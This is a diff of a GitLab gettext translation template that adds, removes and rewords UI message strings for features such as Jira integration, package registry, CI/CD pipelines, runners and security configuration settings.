+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
